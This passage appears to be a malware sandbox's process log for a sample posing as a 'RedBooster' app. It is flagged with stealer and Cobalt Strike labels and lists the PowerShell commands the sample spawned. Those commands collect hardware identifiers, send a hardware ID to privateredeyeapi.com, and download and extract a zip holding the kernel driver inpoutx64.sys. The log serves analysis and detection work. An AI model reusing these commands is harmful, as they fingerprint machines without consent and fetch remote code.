    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=4504 --field-trial-handle=1772,i,15100784072686346984,1696739235061747843,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:5736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try { $r = Invoke-RestMethod -Uri 'https://privateredeyeapi.com/?action=StatsBooster' -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; ('{0}|{1}' -f [int]$r.total, [int]$r.online) } catch { '0|0' }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u=(Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue).UUID;$b=(Get-CimInstance Win32_BaseBoard -ErrorAction SilentlyContinue).SerialNumber;$p=(Get-CimInstance Win32_Processor -ErrorAction SilentlyContinue | Select-Object -First 1).ProcessorId;\"$u|$b|$p\""
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=EventBooster' try{(Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u=(Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue).UUID;$b=(Get-CimInstance Win32_BaseBoard -ErrorAction SilentlyContinue).SerialNumber;$p=(Get-CimInstance Win32_Processor -ErrorAction SilentlyContinue | Select-Object -First 1).ProcessorId;\"$u|$b|$p\""
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=NewsBooster' try{(Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=AdminCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('10XEHgIOn8pA7NwIUrVd4efsPy2kyoI9M0Knxfvsd8o') try{(Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=AdminCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('10XEHgIOn8pA7NwIUrVd4efsPy2kyoI9M0Knxfvsd8o') try{(Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=ForceGetBooster' try{(Invoke-WebRequest -Uri $u -TimeoutSec 8 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$ErrorActionPreference='Stop' try { (Invoke-WebRequest -Uri 'https://privateredeyeapi.com/versionBooster.php' -Headers @{ 'User-Agent'='RedBooster' } -TimeoutSec 20 -UseBasicParsing).Content } catch { '' }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=BanCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('10XEHgIOn8pA7NwIUrVd4efsPy2kyoI9M0Knxfvsd8o') $u+='&key='+[uri]::EscapeDataString('') try{(Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=RegisterBooster' $u+='&hwid='+[uri]::EscapeDataString('10XEHgIOn8pA7NwIUrVd4efsPy2kyoI9M0Knxfvsd8o') $u+='&key='+[uri]::EscapeDataString('') try{(Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:5924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$ErrorActionPreference='Stop';try {$tools='C:\Users\Admin\AppData\Local\RedBooster\tools';New-Item -ItemType Directory -Force -Path $tools | Out-Null;$zip=Join-Path $env:TEMP 'rb_iodriver.zip';Invoke-WebRequest -Uri 'https://redbooster.net/tools/iodriver.zip' -OutFile $zip -Headers @{'User-Agent'='RedBooster'} -TimeoutSec 60 -UseBasicParsing;Expand-Archive -Path $zip -DestinationPath $tools -Force;Remove-Item $zip -Force -ErrorAction SilentlyContinue;if(Test-Path (Join-Path $tools 'iodriver\inpoutx64.sys')){'OK'}else{'ERR'}} catch { 'ERR' }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=TrialBooster' $u+='&hwid='+[uri]::EscapeDataString('10XEHgIOn8pA7NwIUrVd4efsPy2kyoI9M0Knxfvsd8o') try{(Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:4684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=BroadcastGetBooster' $u+='&hwid='+[uri]::EscapeDataString('10XEHgIOn8pA7NwIUrVd4efsPy2kyoI9M0Knxfvsd8o') try{(Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:4592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
